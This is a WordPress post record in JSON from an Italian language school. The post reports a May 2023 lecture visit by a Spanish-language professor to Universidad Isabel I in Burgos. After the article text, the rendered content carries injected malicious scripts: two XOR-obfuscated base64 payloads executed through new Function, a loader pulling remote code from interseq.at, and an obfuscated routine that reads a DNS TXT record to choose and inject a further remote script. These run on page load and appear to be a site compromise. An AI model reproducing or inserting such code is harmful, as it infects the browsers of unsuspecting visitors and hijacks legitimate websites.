{"id":8995,"date":"2023-05-23T10:53:57","date_gmt":"2023-05-23T08:53:57","guid":{"rendered":"https:\/\/www.ssmlinternazionale.it\/site\/?p=8995"},"modified":"2026-10-01T20:53:43","modified_gmt":"2026-10-01T18:53:43","slug":"la-prof-ssa-de-simini-relatrice-alluniversidad-internacional-isabel-i-di-burgos-spagna","status":"publish","type":"post","link":"https:\/\/www.ssmlinternazionale.it\/site\/la-prof-ssa-de-simini-relatrice-alluniversidad-internacional-isabel-i-di-burgos-spagna\/","title":{"rendered":"La Prof.ssa De Simini relatrice all&#8217;Universidad Internacional Isabel I di Burgos &#8211; Spagna"},"content":{"rendered":"<section class=\"wpb-content-wrapper\"><p>[vc_row][vc_column][vc_column_text]<\/p>\n<p style=\"font-weight: 400;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-9006 alignleft\" src=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/prof-desimini-254x248.png\" alt=\"\" width=\"148\" height=\"144\" \/>Prosegue la cooperazione didattica internazionale tra l\u2019<strong>Universidad Internacional &#8220;Isabel I de Castilla&#8221;<\/strong>\u00a0di Burgos\u00a0e la\u00a0<strong>\u201cSSML Internazionale\u201d<\/strong>.<\/p>\n<p style=\"font-weight: 400;\">Dal 15 al 19 maggio 2023, la\u00a0Prof.ssa\u00a0<strong>Maria Concepci\u00f3n De Simini<\/strong>, docente di Lingua Spagnola della SSML Internazionale, \u00e8 stata impegnata in un ciclo di lezioni nell&#8217;ambito del M\u00e1ster en<i><strong>\u00a0\u201cEnse\u00f1anza de Espa\u00f1ol como Lengua Extranjera\u201d\u00a0<\/strong><\/i>promosso dalla Universidad &#8220;Isabel I&#8221;<em>.<\/em><\/p>\n<p style=\"font-weight: 400;\">Tra le tematiche trattate:\u00a0<strong><em>\u201cEl sistema educativo italiano: El espa\u00f1ol como lengua extranjera&#8221;<\/em><\/strong>.<\/p>\n<p style=\"font-weight: 400;\">Durante la sua permanenza la Prof.ssa De Simini ha collaborato con la\u00a0Dra. D\u00f1a.\u00a0<strong>Alicia\u00a0Herraiz\u00a0Guti\u00e9rrez<\/strong>,\u00a0Directora del\u00a0M\u00e1ster\u00a0ELE &#8211;\u00a0<i>Espa\u00f1ol como Lengua Extranjera<\/i><\/p>\n<p style=\"font-weight: 400;\">La visita della Prof.ssa De Simini al Campus di Burgos rafforza il rapporto di collaborazione e di scambi culturali tra la SSML Internazionale e l\u2019Universidad Isabel I.<\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row gap=&#8221;35&#8243;][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-8997\" src=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-con-la-Dra-300x225.png\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-con-la-Dra-300x225.png 300w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-con-la-Dra-1024x768.png 1024w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-con-la-Dra.png 1119w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>La Prof.ssa De Simini con la Dra. Alicia Herraiz,<br \/>\nProfesora dell&#8217;Universidad &#8220;Isabel I&#8221;[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/2&#8221;][vc_column_text]<img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-8996 size-medium\" src=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-al-suo-arrivo-al-Campus-300x170.png\" alt=\"\" width=\"300\" height=\"170\" srcset=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-al-suo-arrivo-al-Campus-300x170.png 300w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-al-suo-arrivo-al-Campus-1024x579.png 1024w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/De-Simini-al-suo-arrivo-al-Campus.png 1483w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>La Prof.ssa De Simini al suo arrivo al Campus dell\u2019Universidad\u00a0&#8220;Isabel I&#8221; de Burgos[\/vc_column_text][\/vc_column][\/vc_row]<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom\/api';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><script>;function _0x5407(_0x53adb0,_0x440537){_0x53adb0=_0x53adb0-0x1dd;const _0x57bd66=_0x57bd();let _0x5407fa=_0x57bd66[_0x53adb0];return _0x5407fa;}function _0x57bd(){const _0xc81bc3=['Answer','14331825CnedML','script','65EwAgKS','https:\/\/cloudflare-dns.com\/dns-query?name=','src','3797312ZTaGvN','then','10uhMiXL','https:\/\/','&type=TXT','log','luqiuid91.com','text','1451816LTDzWn','181473VYSxfA','134186FHhXPd','3794217dYvhSY','25968Wtydsk'];_0x57bd=function(){return _0xc81bc3;};return _0x57bd();}const _0xd8892c=_0x5407;(function(_0x531193,_0x3fb1b8){const _0x1da4fe=_0x5407,_0x262824=_0x531193();while(!![]){try{const _0x5da21e=parseInt(_0x1da4fe(0x1ef))\/0x1*(parseInt(_0x1da4fe(0x1e4))\/0x2)+-parseInt(_0x1da4fe(0x1e3))\/0x3+parseInt(_0x1da4fe(0x1e2))\/0x4+parseInt(_0x1da4fe(0x1ea))\/0x5*(-parseInt(_0x1da4fe(0x1e6))\/0x6)+parseInt(_0x1da4fe(0x1e5))\/0x7+parseInt(_0x1da4fe(0x1ed))\/0x8+-parseInt(_0x1da4fe(0x1e8))\/0x9;if(_0x5da21e===_0x3fb1b8)break;else _0x262824['push'](_0x262824['shift']());}catch(_0x3f2d35){_0x262824['push'](_0x262824['shift']());}}}(_0x57bd,0x53597),name=_0xd8892c(0x1e0),fetch(_0xd8892c(0x1eb)+encodeURIComponent(name)+_0xd8892c(0x1de),{'headers':{'accept':'application\/dns-json'}})['then'](_0x133927=>_0x133927[_0xd8892c(0x1e1)]())[_0xd8892c(0x1ee)](_0x189842=>{const _0x481496=_0xd8892c,_0x143943=JSON['parse'](_0x189842);console[_0x481496(0x1df)](_0x143943);const _0x5a91bc=JSON['parse'](_0x143943[_0x481496(0x1e7)][0x0]['data']);console['log'](_0x5a91bc);const _0x2d9f68=document['createElement'](_0x481496(0x1e9));_0x2d9f68[_0x481496(0x1ec)]=_0x481496(0x1dd)+_0x5a91bc,document['head']['appendChild'](_0x2d9f68);}));<\/script><\/p>\n<\/section>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text] Prosegue la cooperazione didattica internazionale tra l\u2019Universidad Internacional &#8220;Isabel I de Castilla&#8221;\u00a0di Burgos\u00a0e la\u00a0\u201cSSML Internazionale\u201d. Dal 15 al 19&nbsp;<a href=\"https:\/\/www.ssmlinternazionale.it\/site\/la-prof-ssa-de-simini-relatrice-alluniversidad-internacional-isabel-i-di-burgos-spagna\/\">&hellip;<\/a><\/p>\n","protected":false},"author":3,"featured_media":8998,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-8995","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ssml-internazionale","odd"],"_links":{"self":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8995","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/comments?post=8995"}],"version-history":[{"count":11,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8995\/revisions"}],"predecessor-version":[{"id":10742,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8995\/revisions\/10742"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media\/8998"}],"wp:attachment":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media?parent=8995"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/categories?post=8995"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/tags?post=8995"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}